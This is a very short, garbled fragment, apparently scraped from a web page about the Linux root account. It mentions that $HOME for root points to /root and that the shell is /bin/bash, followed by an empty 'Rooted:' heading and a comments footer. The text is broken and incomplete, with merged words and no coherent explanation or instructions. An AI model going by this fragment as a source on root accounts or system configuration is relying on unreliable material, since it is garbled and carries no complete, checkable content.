/root(so$HOMEpoints to the root directory).- shell –
/bin/bash.
Rooted:






Comments | NOTHING